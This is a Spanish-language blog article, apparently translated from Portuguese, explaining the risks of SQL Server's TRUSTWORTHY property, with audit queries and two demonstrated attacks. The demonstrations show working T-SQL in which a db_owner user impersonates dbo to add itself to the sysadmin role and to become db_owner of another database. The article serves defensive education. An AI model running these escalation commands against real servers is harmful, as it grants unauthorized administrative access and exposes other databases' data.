¡Hola, chicos!
En otro artículo sobre seguridad, que es el tema de mi charla en MVPConf LATAM 2019, Compartiré contigo los riesgos de la propiedad TRUSTWORTHY de una base de datos en SQL Server, que es ampliamente utilizada en entornos que utilizan bibliotecas SQLCLR con nivel de permiso EXTERNAL_ACCESS o UNRESTRICTED.

Si tiene una biblioteca SQLCLR y ha habilitado la propiedad Trustworthy debido a esto, tenga en cuenta que existen otras formas de poder usar sus bibliotecas CLR sin tener que activar esta propiedad, que es usar certificados y firmar el ensamblado en SQL Server. Pronto escribiré un artículo sobre esto.

Para identificar las bases de datos en su instancia que tienen esta propiedad habilitada, utilice la siguiente consulta:

SELECT database_id, [name], owner_sid, state_desc, is_trustworthy_on
FROM sys.databases
WHERE is_trustworthy_on = 1

Resultado:

Y en una consulta un poco más elaborada, ahora podemos hacer la asociación con ensamblados SQLCLR y con los usuarios que son db_owner en estas bases de datos:

IF (OBJECT_ID('tempdb..#Bancos_Trustworthy') IS NOT NULL) DROP TABLE #Bancos_Trustworthy
CREATE TABLE #Bancos_Trustworthy
(
    [database_id] INT,
    [name] NVARCHAR(128),
    [owner_sid] VARBINARY(85),
    [db_owner_member] NVARCHAR(128),
    [state_desc] NVARCHAR(60),
    [is_trustworthy_on] BIT,
    [assembly_name] NVARCHAR(128),
    [permission_set_desc] NVARCHAR(60),
    [create_date] DATETIME
)

INSERT INTO #Bancos_Trustworthy
EXEC sys.sp_MSforeachdb '
SELECT 
    A.database_id, 
    A.[name], 
    A.owner_sid,
    C.member_name,
    A.state_desc, 
    A.is_trustworthy_on,
    B.[name] AS assembly_name,
    B.permission_set_desc,
    B.create_date
FROM 
    [?].sys.databases A
    LEFT JOIN [?].sys.assemblies B ON B.is_user_defined = 1
    OUTER APPLY (
        SELECT B.[name] AS member_name
        FROM [?].sys.database_role_members A
        JOIN [?].sys.database_principals B ON A.member_principal_id = B.principal_id
        JOIN [?].sys.database_principals C ON A.role_principal_id = C.principal_id
        WHERE C.[name] = ''db_owner''
        AND C.is_fixed_role = 1
        AND B.principal_id > 4
    ) C
WHERE
    A.is_trustworthy_on = 1
    AND A.[name] = ''?'''
    

SELECT * FROM #Bancos_Trustworthy

Resultado:

¿Para qué sirve y cuál es el peligro de CONFIABLE = ON?

La propiedad TRUSTWORTHY si tiene sus beneficios, como la posibilidad de ejecutar Procedimientos Almacenados con acceso externo en bibliotecas SQLCLR, pero va más allá. Como explica detalladamente Luan Moreno en su artículo Por qué utilizar la opción CONFIABLE, esta propiedad, cuando está habilitada, permite que un objeto creado usando EXECUTE AS (o incluso un comando ad-hoc) en una base de datos determinada acceda a datos de otra base de datos.

Como la operación EXECUTE AS requiere un nivel muy alto de confiabilidad (conozca los riesgos de EXECUTE AS haciendo clic aquí en este enlace), SQL Server bloquea este tipo de ejecución, lo cual solo se permite eliminando la cláusula EXECUTE AS de ese objeto o habilitando la propiedad TRUSTWORTHY en la base de datos donde se crea el objeto.

Pero ¿cuál es el riesgo de tener habilitada la propiedad TRUSTWORTHY en una base de datos? Es precisamente esta confiabilidad entre las bases de datos... jajaja

Mi entorno tiene el siguiente escenario: El usuario dirceu Dirceu_User es parte de los miembros del rol de base de datos db_owner en la base de datos CLR, que tiene habilitada la propiedad Trustworthy. Este usuario ni siquiera se crea en otras bases de datos y no tiene ningún permiso a nivel de instancia.

Veamos qué se puede hacer en este escenario.

Intento 1: ¡Quiero ser administrador de sistemas!

Desde el principio, en la primera prueba, intentaré aprovechar que el banco tiene habilitada la propiedad Trustworthy para transformarme en un usuario administrador de sistemas. Esto lo haré usando el usuario predeterminado dbo, para ejecutar los comandos que necesito:

SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

USE [CLR]
GO

EXECUTE AS USER = 'dbo'
GO

ALTER SERVER ROLE [sysadmin] ADD MEMBER [Dirceu_User]
GO

REVERT
GO

SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

Resultado de la ejecución: ¡ahora soy administrador de sistemas!

Enseguida podrías entender el riesgo que nos trae esta propiedad, ¿verdad? Imagine una base de datos con esta propiedad habilitada y el usuario de alguna aplicación tiene el rol db_owner. Una simple inyección SQL puede hacer que un atacante obtenga privilegios de administrador de sistemas en la instancia, incluso si el usuario de la aplicación no es administrador de sistemas. Para obtener más información sobre la inyección SQL, lea mi artículo. SQL Server: ¿Cómo evitar la inyección SQL? Deje de usar consultas dinámicas como EXEC (@Query). Ahora..

Intento 2: ¡Quiero ser db_owner de otras bases de datos!

En este segundo intento intentaré crear mi usuario en otra base de datos y ponerme como db_owner de esa base de datos también. De esta manera, un atacante obtiene acceso a otras bases de datos que existen en la instancia, no solo al banco que logró invadir.

Intentemos acceder a la base de datos “dirceuresende”, ya que quiero leer los datos que están allí:

Sí, mi usuario no existe allí. Bueno, invadamos entonces:

-- Mostra meu usuário e comprova que não sou sysadmin
SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]

Accedamos ahora a la base de datos “dirceuresende” mediante EXECUTE AS:

-- Banco que sou db_owner e possui parâmetro Trustworthy habilitado
USE [CLR]
GO

-- Mudo o contexto da execução para o usuário dbo (sysadmin por default)
EXECUTE AS USER = 'dbo'
GO

-- Utilizando o usuário dbo, vou mudar o database da minha sessão para o "dirceuresende"
USE [dirceuresende]
GO

-- Confirmando que estou acessando o database "dirceuresende"
SELECT DB_ID(), DB_NAME()
GO

Ahora enumeraré quiénes son los db_owners en esta base de datos:

-- Listo quem são os usuários sysadmin
SELECT C.[name] AS member_name
FROM sys.database_role_members A
JOIN sys.database_principals B ON A.role_principal_id = B.principal_id
JOIN sys.database_principals C ON A.member_principal_id = C.principal_id
WHERE B.[name] = 'db_owner'
AND B.is_fixed_role = 1
GO

Comenzando mi “invasión”, estoy usando el contexto de ejecución del usuario dbo y con eso puedo crear mi usuario en esta base de datos y agregarme al rol de base de datos db_owner:

-- Crio meu usuário nesse database
CREATE USER [Dirceu_User] FOR LOGIN [Dirceu_User]
GO

-- Me autoadiciono na database role db_owner
ALTER ROLE [db_owner] ADD MEMBER [Dirceu_User]
GO

-- Volto para o database que eu executei o comando EXECUTE AS
-- Msg 15199, Level 16, State 1, Line 46
-- The current security context cannot be reverted. Please switch to the original database where 'Execute As' was called and try it again.
USE [CLR]
GO

-- Volto o contexto de execução para o usuário Dirceu_User
REVERT
GO

Ahora mi usuario es db_owner de la base de datos “dirceuresende” :). ¿No lo crees? Lo intentaré.

-- Mostra meu usuário e comprova que não sou sysadmin
SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

-- Agora consigo acessar esse database :)
USE [dirceuresende]
GO

-- Confirmando que estou acessando o database "dirceuresende"
SELECT DB_ID(), DB_NAME()
GO

-- Listo novamente quem são os usuários db_owner desse database. Sou db_owner :)
SELECT C.[name] AS member_name
FROM sys.database_role_members A
JOIN sys.database_principals B ON A.role_principal_id = B.principal_id
JOIN sys.database_principals C ON A.member_principal_id = C.principal_id
WHERE B.[name] = 'db_owner'
AND B.is_fixed_role = 1
GO

Resultado final de mi ataque:

Bueno chicos, con estos 2 tipos de ataques demostrados anteriormente, creo que logré exponer algunos riesgos de seguridad al usar esta propiedad en entornos de producción, especialmente en bases de datos que utilizan las aplicaciones y son susceptibles a ataques como Inyección SQL y el atacante tendrá muchas más herramientas para usar con esta propiedad habilitada en el banco que está atacando.

Cabe mencionar que esta propiedad si tiene sus beneficios, como mencioné al inicio del post, pero debe activarse con mucho cuidado y conciencia con el medio ambiente. Estos ejemplos que demostré son solo algunos de ellos, pero se pueden llevar a cabo N tipos diferentes de ataques aprovechando el agujero de seguridad causado por la propiedad Trustworthy.

Si tiene una biblioteca SQLCLR y ha habilitado la propiedad Trustworthy debido a esto, tenga en cuenta que existen otras formas de poder usar sus bibliotecas CLR sin tener que activar esta propiedad, que es usar certificados y firmar el ensamblado en SQL Server. Pronto escribiré un artículo sobre esto. Esperar..

Y para tranquilizarlo, sepa que solo los usuarios que tienen el rol de administrador de sistemas pueden cambiar la propiedad CONFIABLE de una base de datos. Ni siquiera el propietario de la base de datos o los usuarios con el rol db_owner pueden cambiar esta propiedad.

Referencias:

¡Eso es todo, amigos!
Espero que hayas disfrutado de este artículo y empieces a tomarte más en serio la seguridad de tu entorno. Si te preocupa la seguridad de tu entorno y quieres la opinión de un experto en el tema, solicita al Chequeo GRATUITO de tu base de datos + análisis de seguridad: ¿Lo necesitas?.

¡Un abrazo grande y hasta la próxima!